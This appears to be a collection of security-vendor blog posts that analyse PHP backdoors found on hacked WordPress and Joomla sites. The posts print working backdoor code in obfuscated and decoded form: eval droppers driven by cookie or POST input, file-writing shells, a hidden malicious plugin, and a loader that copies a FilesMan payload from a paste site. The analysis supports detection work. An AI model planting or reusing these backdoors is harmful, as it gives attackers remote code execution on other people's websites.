New variant of “trollherten” malware

We continue to see new variations of obfuscation used to hide a PHP backdoor that began to be heavily used by malicious users in late 2018 - as we mentioned in a blog post at the time.


This variant tries to hide by compressing and encoding the malicious code, then using clever variables to try and mislead someone that may just be doing a cursory glance of the file’s code. In fact, the file and its coding has nothing at all to do with images or watermarks. Its true purpose is found on line 10:

$watermark='};'.urldecode(gzinflate(urldecode($lmagewatermark.$imagewatermark))).'{'; create_function('',$watermark);

This line of code defines the variable $watermark with the uncompressed, decoded data that was derived by using urldecode and gzinflate on the $imagewatermark variable. Now that we have the uncompressed, decoded data assigned to the $watermark variable, it will be easier for us to read the code:

};$GLOBALS['_79565595_']=Array('str_' .'rot13','pack','st' .'rrev');
function _1178619035($i{
$a=Array("jweyc","aeskoly","owhggiku","callbrhy","H*");
return $a[$i];}
function l__0($_0){
return isset($_COOKIE[$_0])?$_COOKIE[$_0]:@$_POST[$_0];}$_1=l__0(_1178619035(0)) .l__0(_1178619035(1)) .l__0(_1178619035(2)) .l__0(_1178619035(3));
if(!empty($_1)){
$_1=$GLOBALS['_79565595_'][0](@$GLOBALS['_79565595_'][1](_1178619035(4),$GLOBALS['_79565595_'][2]($_1)));
if(isset($_1)){
@eval($_1);
exit();}}

And after further deobfuscating the PHP code’s arrays and text manipulation, we can see that this is the same malicious code that was mentioned in our past blog post in late 2018:

<?php
function cookie_or_request($_0){
return isset($_COOKIE[$_0]) ? $_COOKIE[$_0] : @$_POST[$_0];}
$rce = cookie_or_request('jweyc') . cookie_or_request('aeskoly') . cookie_or_request('owhggiku') . cookie_or_request('callbrhy');
if(!empty($rce)){
$rce = str_rot13(pack('H*', strrev($rce)));
if(isset($rce)){
@eval($rce);
exit();}}

Self-destruct malware

The majority of malware we find on compromised websites have been planted by bad actors with the intention of concealing and accessing backdoor access.

During a recent investigation, we found an interesting variation of this technique. The code was intentionally created to inject backdoors and other tools, but possessed an unusual feature: the injected content is executed only once before self-destructing.

Here is the sample:

<?php
error_reporting(E_ERROR);set_time_limit(0);
if(isset($_POST['zzz'])){
    $tofile='407.php';
    $a =base64_decode(strtr($_POST['zzz'], '-_,', '+/='));
    $a='<?php '.$a.'?>';
    @file_put_contents($tofile,$a);
    require_once('407.php');
    @unlink($tofile);
    exit;

}
?>

This malware is pretty simple and consists of only 13 lines. The code expects a $_POST request with the zzz variable.

Similarly to a malware dropper technique, the zzz variable is decoded and written into another file 407.php. In the statement require_once(), the injected content is evaluated (executed) and subsequently removed with the unlink() call.

The malware doesn't rely on known abused executable functions (for example, the eval() function) and doesn't store any encoded content, which are features that commonly trigger scanners used to detect possible malicious files.

Simple but effective backdoor

We recently found a malicious PHP file containing a small amount of code that is effective at hiding from detection by various server side scanning tools.

$a = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
$b = "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
@$b($_REQUEST['c'], @$a($_REQUEST['d']));

The two $a and $b variables contain the obfuscated PHP strings _file_getcontents and _file_putcontents as escaped hexadecimal values.

These two functions are combined with the _$REQUEST variable array, which allows the malicious user to submit data through their HTTP request to the file.

Deobfuscating the sample reveals the following code:

file_put_contents($_REQUEST['c']), file_get_contents($_REQUEST['d']));

These functions allow the attacker to exclude hard coded file names and content and change them at their leisure, making it more difficult to detect. The bad actor provides the desired content using the _file_putcontent($filename, $data) function during their HTTP request to the malicious file.

As you can see in the image, the HTTP parameters c and d provide the file name (shell.php) and define the download location (local or remote) for thee file name’s content.

In this example, I used shell.php for the c parameter and defined localhost/test.txt for the d parameter, which serves as the download location for _file_getcontents.The function _file_putcontents then inserts (and creates) file shell.php in the current directory.

Backdoor plugin hides from view

One of the most important traits for backdoors is the ability to remain undetected by most users — otherwise it may draw suspicion and be deleted, revoking access for bad actors in the process.

In the past, we’ve posted about how malicious WordPress admin users can be hidden from the Users list inside the dashboard. Another similar technique is the practice of installing, activating, and hiding a malicious plugin within the WordPress dashboard to avoid detection by the website owner.

The active plugins count (1) that tells us there is a plugin existing, however the plugin itself isn’t displayed. This is a sign that something is not working correctly or is being manipulated

In this case, the malicious plugin file was found in ./wp-content/plugins/ciasic-editor/index.php. The file contained commenting at the top of the code that caused WordPress to believe it was actually the legitimate plugin “Classic Editor”.

This is another common technique used by hackers to trick website owners into thinking it’s just another benign plugin file. Once the plugin is activated, it disappears from the plugin listing page and stays hidden — the only obvious clue is that it’s included in the plugin count (which is why it shows a plugin count (1) in the image).

The code used to hide the malicious plugin from view in the WP dashboard, unless your browsing user-agent matches the very specific one they defined.

The hacker sends a GET request with a special parameter (e.g ?action=boobooboo), which is set to identify whether or not the malicious plugin has been activated:

After the malicious plugin’s active state has been confirmed, it can then be used to generate additional malicious files in the website’s document root using the curl and _file_putcontents functions.

These functions are placed within the init hook function, which is loaded for every WordPress page:

This allows the hacker to use the malicious PHP code by sending a POST request containing the necessary parameters (keysecret, url, and file_name) to WordPress pages on the website without having to specify the filename of the malicious plugin (e.g URL would not need /wp-content/plugins/ciasic-editor/index.php in it and could just send the POST request to your website's home page). The curl function will then download whatever is located at the provided URL, and _file_putcontents (obscured through the custom function wp_file_update_func125) will insert the downloaded content into a .php file in the website’s document root.

array_diff_ukey Usage in Malware Obfuscation

We discovered a PHP backdoor on a WordPress installation that contained some interesting obfuscation methods to keep it hidden from prying eyes:

$zz1 = chr(95).chr(100).chr(101).chr(115).chr(116).chr(105).chr(110).chr(97).chr(116).chr(105).chr(111).chr(110);
$ss2 = chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95)."content".chr(115);
$bs = chr(98).chr(97).chr(115).chr(101)."64"."_".chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
$bngd = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32);
$b = $bngd.$bs($_REQUEST[chr(100).chr(49)]);
@array_diff_ukey(@array((string)($zz1) => 1), @array((string)($b) => 2), $ss2);
@include($zz1);
@unlink($zz1);

The five separate variables ($zz1, $ss2, $bs, $bngd, $b) are obfuscated by converting their values from a decimal value to its normal ASCII character using the chr function (see this chart for more info on character conversions). Usually, this is seen in PHP malware obfuscation.

@array_diff_ukey(@array((string)($zz1) => 1), @array((string)($b) => 2), $ss2);
@include($zz1);
@unlink($zz1);

What isn’t seen as often is the use of array_diff_ukey to obfuscate how the backdoor uses file_put_contents:

array_diff_ukey is a PHP function that compares two arrays using another function which is defined by the user—in this case, it is file_put_contents.
The first array is constructed using the filename defined in the $zz1 variable that will be injected with PHP code.
The second array is hiding the PHP code that will be used in the injection:

<?php base64_decode($_REQUEST[d1])

This PHP code will allow the hacker to decide what code will then be evaluated later. They pass the PHP code to the file by submitting a base64-encoded HTTP request containing the PHP code.
The final part of the array_diff_ukey is the function that should be used to compare the two arrays, but in this case the comparison uses file_put_contents to inject the above PHP code into the filename from $zz1.

After the PHP code injection, the backdoor then uses the include function to evaluate the injected file’s PHP code before it finally deletes the injected file using unlink.

You can see the base64-encoded string in the browser’s URL which decodes to the PHP code to be evaluated:

echo "You've been hacked!";

This type of obfuscation is useful for rearranging the normal format of file_put_contents, which is a function that is commonly used in malware. So if you want to remain undetected, then obfuscating it within the backdoor code would be helpful.

Fake Parameters Conceal a Backdoor

We found this backdoor in the middle of the logrss.php file that defined the JDocumentRendererRSS class.


...function jregisterClass() { // merge arrays $info = array_merge($_REQUEST,$_COOKIE);   // validate parameters  if ( !isset($info['mlg']) ) die( 'Restricted access' );   else $info['feed']($info['file'], $info['link'].'"'.  $info['mlg'].'"'.$info['title'], $info['file'][1]);}/*  Pass the feed data   @access public  @return string /jregisterClass( 'onAfterStart', 'JDocumentRendererRSS' );function JDocumentRendererRSSdata($data){...

The code looks very natural until you check what it does.

jregisterClass( 'onAfterStart', 'JDocumentRendererRSS' );

This code looks like it registers the legitimate JDocumentRendererRSS class to be used after starting the application/plugin, right?

There is really a onAfterStart trigger for Joomla mambots but it is used in a different context–and what’s more important–there is no standard jregisterClass function. However, that very file defines its own jregisterClass function (you can see this in the first snippet).

That function doesn’t define any parameters though. It turns out, in PHP you can pass as many fake parameters as you want and the function will only use the ones that it expects. So the 'onAfterStart', 'JDocumentRendererRSS' parameters are just a red herring.

The function itself is a classic backdoor. Its code uses cookies and values of the POST, GET parameters to execute arbitrary PHP code.

This type of backdoor is very easy to miss when you manually inspect the files. That’s why integrity control monitoring is very important. It helps you identify modified files and in best cases, shows exactly what has been changed.

If you're having difficulty identifying malicious code on your website, our team can help.

Backdoor using paste site to host payload

Over the last months, we’ve been talking a lot about new ways to decode complex malwares that involve the usual PHP functions like eval, create_function, preg_replace, assert, base64_decode, etc.


According to our latest reports “Backdoors are found in 72% of infected websites”, although we have hundreds of posts on backdoors and their effects,  today I want to discuss a few techniques that doesn't follow any obfuscation tricks like encrypted strings, concatenations, and typecasting. These unusual backdoors often look like legitimate code and can go unnoticed for most of the malware scanners available in the market.

During an incident response investigation, I detected an interesting backdoor that was small, simple and effective.

The backdoor content was uploaded the wp-content/themes/buildup/db.php file and looked like this:

<?phpif ( @copy('hxxps://paste[.]ee/r/3TwsC/0', 'db.php') ) {echo "Copy_success";}else{echo "Copy_failed";}?>

This small piece of code downloads the full malware from the hxxps://paste[.].ee  website (if you are not familiar with this site, it's like a Pastebin with SSL and less controls).

The downloaded code was obfuscated with a free tool, which is pretty common for malware developers, but we see good code using it too (note to devs, avoid using those free tools, they may be saving your code).

And here's the more "readable" code:

And, as you may see, we got ourselves a nice copy of FilesMan backdoor being downloaded by a file that may be overlooked by an untrained person.

In order to prevent the website from getting infected, we highly recommend implementing security measures like file integrity monitoring and a website application firewall. It is advisable to constantly monitor your logs for unexpected behavior.